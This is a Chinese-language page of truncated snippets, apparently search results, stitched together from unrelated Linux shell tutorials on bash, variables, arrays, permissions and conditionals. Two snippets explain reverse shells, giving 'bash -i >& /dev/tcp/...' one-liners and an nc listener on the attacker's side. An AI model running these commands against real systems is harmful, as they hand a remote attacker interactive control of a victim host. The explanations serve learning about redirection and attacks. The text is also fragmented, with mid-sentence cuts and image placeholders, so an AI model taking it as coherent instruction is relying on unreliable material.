一、Bash Shell概述 1.什么是bash bash是Bourne Again Shell的简称,是从unix系统中的sh发展而来的,是用户和Linux内核交互的工具,用户通过...二、Bash Shell的变量概述 1.变量是代表一些值的符号。 2.可以通过变量来设置shell或者其他程序。 3.变量存在于内存中。 ...4.Linux有自定义变量(local)和环境变量(environment)。 5.自定义变量和环境变量的作用范围不同。 ...四、Shell startup scripts的概述 1.Shell startup scripts是用户登录或其他非登录动作时会自动执行一些shell脚本 2.建立自定义变量或者执行set指令设置...shell 3.建立环境变量,设置其他程序 4.使用alias,简化后续操作 5.登录登出的时候执行哪些程序 五、login和non-login shell的详解 1.login shell
这里说Linux重定向的原因主要还是为了详细了解一下Linux中的反弹shell 目录 0x01 文件描述符 0x02 重定向 0x03 反弹shell 0x04 交互重定向 0x05 命令变形 0x01...文件描述符 Linux的文件描述符有以下三种 标准输入:0 标准输出:1 错误输出:2 对于文件描述符就先知道这些就可以了,具体的使用会在重定向中来说,重定向就是对文件描述符的操作 0x02 重定向...0x03 反弹shell 下面是很常见的一条反弹shell命令,我们就以这个为例来进行解释 bash -i >& /dev/tcp/ip/port 0>&1 解释 bash -i 表示创建一个交互式的...shell,可以在帮助文档中看到 ?...首先我们在本地开启监听,然后在Linux机器上输入下面的命令,即将指定字符发送到192.168.6.1的3333端口 ? ?
exec:对匹配的文件执行该参数所给出的shell命令。
本书由浅入深,全面、系统地介绍了Linux技术,书中提供了大量实例,供读者实战演练。...另外,本书有很多关于Linux下的命令操作内容,所以对于每个命令、每个管理设置,作者都实际运行了一遍,供读者参考,在后面的Shell编程中,作者详细介绍了Shell变量、函数、语法、控制结构等重要内容,...最后一章中介绍综合实例,使读者对于Shell编程的理解进一步加深。...、Shell变量及相关操作、条件测试、Shell的控制结构、函数、Shell编程实例。...本书适合Linux初学者、想全面学习Linux开发技术的人员、Linux专业开发人员、利用Linux做开发的工程技术人员、Linux开发爱好者、大中专院校的学生、社会培训班学员等。
tar -xvf xxx.tar.gz 示例:将/test下的xxx.tar.gz解压到根目录/usr下 tar -xvf xxx.tar.gz -C /usr——C代表指定解压的位置 Linux...的权限命令 权限是Linux中的重要概念,每个文件/目录等都具有权限,通过ls -l命令我们可以 查看某个目录下的文件或目录的权限 文件的类型: d:代表目录 -:代表文件 l:代表链接(可以认为是window...w也可以用数字2表示 x:代表权限是可执行,x也可以用数字1表示 属主(user) 属组(group) 其他用户 r w x r w x r w x 4 2 1 4 2 1 4 2 1 linux...中用户的分类 小李 小李对象 老王 所有者u 同组用户g 其他人o linux中文件权限 读r 写...将刚刚的目录名称更名为 mvtest2 [root@www tmp]# mv mvtest mvtest2 ---- Linux 文件内容查看 Linux系统中使用以下命令来查看文件的内容: cat
什么是shell? shell是系统的用户界面,提供了用户与内核进行交互操作的一种接口(命令解释器) 。它接收用户输入的命令并把它送入内核去执行。起着用户与系统之间进行交互的作用。 ?...shell的功能: 命令行解释 命令的多种执行顺序 通配符 命令补全、别名机制、命令历史 I/O重定向 管道 命令替换(` ` 或$( ) ) shell编程语言 shell可以执行——内部命令、外部命令...shell命令分为: 内部(内置)命令 内部命令是shell本身包含的一些命令,这些内部命令的代码是整个shell代码的一个组成部分; 内部命令的执行是shell通过执行自己的代码中的相应部分来完成的...外部(外置)命令 外部命令的代码则存放在一些二进制的可执行文件或者shell脚本中; 外部命令执行时,shell会在文件系统中指定的一些目录去搜索相应的文件,然后调入内存执行。...shell变量PATH中 ?
1 变量的分类 在Linux中,变量分为环境变量 和 局部变量。 环境变量能被子进程继承,而局部变量只能在当前进程中使用。...SHELL:当前使用的SHELL HISTSIZE:历史命令的最大条数 MAIL:当前用户的邮箱目录 PATH:可执行文件的查找路径。...的PID 可以通过如下命令查看当前shell的PID: echo $$ ?...2.3 取消变量 unset 变量名 3 环境变量 自定义变量相当于局部变量,只能在当前shell中使用;而环境变量相当于全局变量,可以在子shell中使用。...5 变量类型:declare/typeset Linux中的变量一共有5种类型,分别是:字符、整型、只读、环境变量。
Shell脚本 是一个脚本语言,用来自动执行我们指定的系统命令的。...通俗的讲,再shell脚本当中,我们会编写一些需要使用的系统命令于其中再运行这个叫本的时候,这些被编写进去的系统命令会按照书写的顺序及规则以此运行。...如果我们再linux的命令行当中设定一个新的变量abc,并将他赋值为123.那麽应该如何书写: Abc=123 那麽我们如何验证呢: Echo 变量名 Echo abc 如何取消变量名呢: Unset...全局 使用方法 A=1 (普通设置变量方法) Echo 想要运行全局的export需要先source+shell脚本的绝对路径!...Expr 相当于linux里面的bc计算器!!!
array1数组 array2=(`ls /root`) array3=(harry amy jack "Miss zhang") array4=(1 2 3 4 "hello world" [10]=linux...-A asso_array2 declare -A asso_array3 5.2关联数组赋值 一次赋一个值 数组名[索引]=变量值 [root@zutuanxue ~]# asso_array1[linux...asso_array1[*]} php java linux [root@zutuanxue ~]# echo ${#asso_array1[*]} 3 [root@zutuanxue ~]# echo...zutuanxue day2]# sh cpu_load.sh CPU 1 min平均负载为: 0.00 CPU 5 min平均负载为: 0.01 CPU 15 min平均负载为: 0.05 七、学习视频 视频:shell...基本数组01 视频:shell基本数组02 视频:shell关联数组 视频:job-统计cpu的平均负载值 视频:shell进阶知识图谱总结
0 备注:linux命令test只能比较两个整数的关系,不会返回结果,需要通过$?才能看到结果 3.2 练习案例 3.2.1 写一个脚本实现对两个证书关系的判断 案例思考: 两个数有几种关系?...默认情况下shell是不能判断浮点的,那么在linux中又避免不了需要进行浮点运算,那怎么解决 解决思路如下: 1)两个数据同时放大到整数倍 2)处理掉小数点位,保留整数位 3)进行整形判断 实现代码...0 3.3.3 练习案例 案例需求: 模拟一个linux文本界面登陆程序,要求账号密码验证成功进入系统,账号密码验证失败退回登陆界面 案例思考: 1、熟悉linux文本界面登陆步骤 2、熟悉字符串比较运算.../bin/bash echo "CentOS linux 8 (Core)" echo -e "Kernel `uname -r` on an `uname -m` \n" #1、输入用户名 echo...整形运算 视频:shell浮点运算 视频:job-计算内存使用率 视频:shell比较运算 视频:shell逻辑运算 视频:shell文件判断运算
zutuanxue tmp]# export A 3、定义一个永久生效变量: vim .bash_profile 或者 ~/.bashrc A=hello 关于export说明 用户登录时: 1) 用户登录到Linux...在这个shell中,可以使用shell命令或声明变量,也可以 创建并运行 shell脚本程序。 运行脚本时: 2) 运行shell脚本程序时,系统将创建一个子shell。...从这种意义上来说,用户可以有许多 shell,每个shell都是由某个shell(称为父shell)派生的。 在子shell中定义的变量只在该子shell内有效。...变量类型 作用域 生命周期 本地变量 当前shell环境(子shell不能用) 脚本结束或终端结束 环境变量 当前shell或者子shell 当前进程结束 全局变量 所有用户及shell环境 关机 内置变量...视频:shell本地和环境变量 视频:shell内置变量 视频:shell变量取值及扩展变量
在 Shell 语言中,可以直接定义变量。不过需要注意,在定义变量的过程中需要遵守一定的规则。这与绝大部分的编程语言类似。...~/08.shell $ b=2 1.2 shell 变量的引用 在 shell 中,直接使用“$”符,即可引用变量的值;一般配合 echo 命令可以打印变量的值; (base) xiehs...16:23:21 ~/08.shell $ echo $a $b 1 2 (base) xiehs 16:23:57 ~/08.shell $ echo $a 1 (base) xiehs 16:23...:59 ~/08.shell $ echo $b 2 如果变量名之后接有其他字符,可以使用”{}”进行区分。...(base) xiehs 16:24:01 ~/08.shell $ a=illumina (base) xiehs 16:24:23 ~/08.shell $ echo ${a}_1.fq.gz ${
一、shell编程中条件表达式的使用 if #条件 then Command else Command fi #别忘了这个结尾 如果if语句忘了结尾fi test.sh: line...四、shell的if与c语言if的功能上的区别 shell if:0为真,接着走then。...同时由于shell里没有> 和< ,会被当作尖括号,整数条件表达式只有-ge, -gt,-le, lt。 5....=放在别的地方是赋值,放在if [ ]里就是字符串等于,shell里面没有==的,那是c语言的等于。 6.= 作为等于时,其两边都必须加空格,否则失效!!!
什么是shell shell扮演者操作系统内核和用户的中间人的角色,用户通过键入shell command,然后shell通过解析用户输入,然后将请求转发给操作系统的内核进行处理。 1....还是hello world程序 首先使用vim编辑器(或者是linux下任意的文本编辑器)编写文件helloshell.sh(没有必要使用.sh后缀名): #!.../bin/sh osch=0 echo "1. unix(sun os)" echo "2. linux(red hat)" echo ... # # nested if if [ $osch -eq 2 ] then echo "you pick up linux..." else echo "what you donot like unix/linux" fi fi #!
接触过一些 shell 脚本,做服务端运维时也时常用到,是时候专门学习一下了。...=||/usr/bin/lesspipe.sh %sXDG_RUNTIME_DIR=/run/user/0HISTTIMEFORMAT=%F %T root_=/usr/bin/printenv 在 shell...Substitution and Constants 命令替换 echo Updated on $(date +"%x %r %Z") by $USER $(date+"%x %r %Z") 中 $() 告诉 shell...This older form is compatible with the original Bourne shell (sh)....The bash shell fully supports scripts written for sh, so the following forms are equivalent: $(command
函数创建两种方式: function name { command; } name () { command; } 在shell中创建的variable...shell将function当做一个mini-script,因此可以用调用脚本的方式来调用函数,在函数中也可以用$1,$@等方式得到传的参数。...向function中传递array时会出现问题,需要单个传入,在函数中再包装成array,shell中的array不太好用。 函数默认的返回值是最后一条命令的exit code,可以用$?
Linux shell 1、shell的概念 1)shell是一个命令行解释器,它为用户提供了一个向linux内核发送请求以便运行程序界面的系统级程序。...shell是结核性的脚本语言,在我们 shell中可以直接调用linux系统命令。...最后就会得到我们想要的结果了 3、Linux中支持的shell环境 [root@java15 ~]# cat /etc/shells /bin/sh /bin/bash /sbin/nologin.../bin/dash /bin/tcsh /bin/csh 4、shell脚本的执行方式 . shell.sh sh shell.sh ....;; pen|pencil) echo "study" ;; *) echo "usages: cat|dog|pen|pencil" esac 十一、Linux
2345bash -i:打开一个bash交互界面 >:重定向 /dev/tcp:调用建立一个socket连接 127.0.0.1:可以任意更改需要反弹到的IP地址 2345:反弹到的端口 上面的是一个典型的反弹shell...的语句,但是这种不能实时地在攻击机输入,攻击机输出,只能在靶机输入东西,然后在攻击机看到 image.png 攻击机使用 nc -lvp 2200监听反弹回来地shell,然后等靶机输入东西后,攻击机才能获取到内容...,攻击机不能传输命令 1.2second bash -i >& /dev/tcp/127.0.0.1/2345 0>&1 这种就是交互式shell了 &:标准错误输出重定向输出 0>&1:简单一点理解就是将我们在攻击机输入的命令当成靶机输入...,然后靶机返回内容时又重定向攻击机,也就是交互界面,打开了一个shell窗口,随意可以在攻击机执行命令,然后在攻击机输出结果,这么一个意思 0:标准输入 1:标准输出 2:标准错误输出 &:是为了区分标准输出和文件描述符...2>&1 和上面的效果一样 1.4fourth bash -i >& /dev/tcp/127.0.0.1/2345 0>&1 值得一提的是,">&"相当于"2>&1",标准错误输出 一个标准的反弹shell
Linux提供了像MicrosoftWindows那样的可视的命令输入界面--X Window的图形用户界面(GUI)。...每个Linux系统的用户可以拥有他自己的用户界面或Shell,用以满足他们自己专门的Shell需要。 同Linux本身一样,Shell也有多种不同的版本。...Korn Shell:是对Bourne SHell的发展,在大部分内容上与Bourne Shell兼容。 C Shell:是SUN公司Shell的BSD版本。 ...如下图:系统中的三种shell ================================================================ 在Linux系统中,我们要查看我们当前是使用哪种...shell,我们可以这样做: env | more 如图: 我们也可以修改当前的shell: chsh -s 新的shell 系统中的shell如下图: 新的shell可以是: /bin/
当然shell也是linux的解释器,本篇我们先来了解下这个解释器。 shell解释器 shell也叫壳,区别与操作系统内核。比如一个不同国家的人交流需要一个翻译官,那么shell就是这个翻译官。...shell是负责用户,负责接受用户的指令,解释并运行,将需要执行的操作给操作内核。 shell的常见种类 sh 由 Bourne shell 开发,为了纪念大佬,就用了他的名字命名了。...sh也是第一个流行的shell。 csh C shell 语法和C语言比较类似。 ksh 集合了 csh 和 sh 的优点,并且和sh兼容。...bash 与sh完全兼容,sh的的扩展版本,在sh上增加了新特性,补全命令,命令编辑器和历史命令等功能也是linux默认的shell。...linux默认的shell解释器 linux 默认的 shell 解释器是bash,在/bin目录下。
领取专属 10元无门槛券
手把手带您无忧上云